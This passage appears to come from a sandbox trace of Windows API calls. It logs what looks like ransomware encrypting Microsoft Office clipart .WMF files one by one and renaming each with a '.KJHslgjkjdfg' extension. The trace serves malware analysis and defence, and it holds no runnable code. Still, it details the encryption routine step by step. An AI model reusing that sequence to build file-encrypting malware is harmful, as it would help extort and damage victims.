hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0159.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.520] GetProcessHeap () returned 0x2a0000 [0159.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.520] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.522] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.522] GetProcessHeap () returned 0x2a0000 [0159.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.522] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.522] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.522] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.522] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.522] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.522] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.522] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.523] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.523] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12bc, lpOverlapped=0x0) returned 1 [0159.523] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12c0) returned 1 [0159.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.524] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12c0, lpOverlapped=0x0) returned 1 [0159.524] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.524] SetEndOfFile (hFile=0x114) returned 1 [0159.526] GetProcessHeap () returned 0x2a0000 [0159.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.526] GetProcessHeap () returned 0x2a0000 [0159.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.kjhslgjkjdfg")) returned 1 [0159.527] CloseHandle (hObject=0x114) returned 1 [0159.527] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0159.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.528] GetProcessHeap () returned 0x2a0000 [0159.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.528] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.528] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.528] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.530] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.530] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.530] GetProcessHeap () returned 0x2a0000 [0159.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.530] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.530] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.530] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.530] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.530] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.530] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.530] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.531] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.531] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.531] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.531] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x83c, lpOverlapped=0x0) returned 1 [0159.531] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x840, dwBufLen=0x840 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x840) returned 1 [0159.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.531] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x840, lpOverlapped=0x0) returned 1 [0159.531] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.531] SetEndOfFile (hFile=0x114) returned 1 [0159.533] GetProcessHeap () returned 0x2a0000 [0159.533] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.533] GetProcessHeap () returned 0x2a0000 [0159.533] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.kjhslgjkjdfg")) returned 1 [0159.534] CloseHandle (hObject=0x114) returned 1 [0159.534] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0159.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.535] GetProcessHeap () returned 0x2a0000 [0159.535] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.535] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.535] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.535] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0159.537] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.537] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.537] GetProcessHeap () returned 0x2a0000 [0159.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.537] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.537] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.537] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.537] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.537] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.538] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.538] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.538] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.538] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.538] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13ea, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13ea, lpOverlapped=0x0) returned 1 [0159.539] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13f0) returned 1 [0159.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.539] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13f0, lpOverlapped=0x0) returned 1 [0159.539] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.539] SetEndOfFile (hFile=0x114) returned 1 [0159.541] GetProcessHeap () returned 0x2a0000 [0159.541] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.541] GetProcessHeap () returned 0x2a0000 [0159.541] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.kjhslgjkjdfg")) returned 1 [0159.542] CloseHandle (hObject=0x114) returned 1 [0159.542] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0159.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.542] GetProcessHeap () returned 0x2a0000 [0159.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.542] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.543] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.545] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.545] GetProcessHeap () returned 0x2a0000 [0159.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.545] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.545] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.545] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.545] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.545] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.545] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.545] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.545] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.545] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x22de, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x22de, lpOverlapped=0x0) returned 1 [0159.546] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22e0) returned 1 [0159.546] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.546] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x22e0, lpOverlapped=0x0) returned 1 [0159.547] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.547] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x23b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.547] SetEndOfFile (hFile=0x114) returned 1 [0159.549] GetProcessHeap () returned 0x2a0000 [0159.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.549] GetProcessHeap () returned 0x2a0000 [0159.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.kjhslgjkjdfg")) returned 1 [0159.551] CloseHandle (hObject=0x114) returned 1 [0159.551] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0159.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.551] GetProcessHeap () returned 0x2a0000 [0159.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.551] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.551] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.551] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, 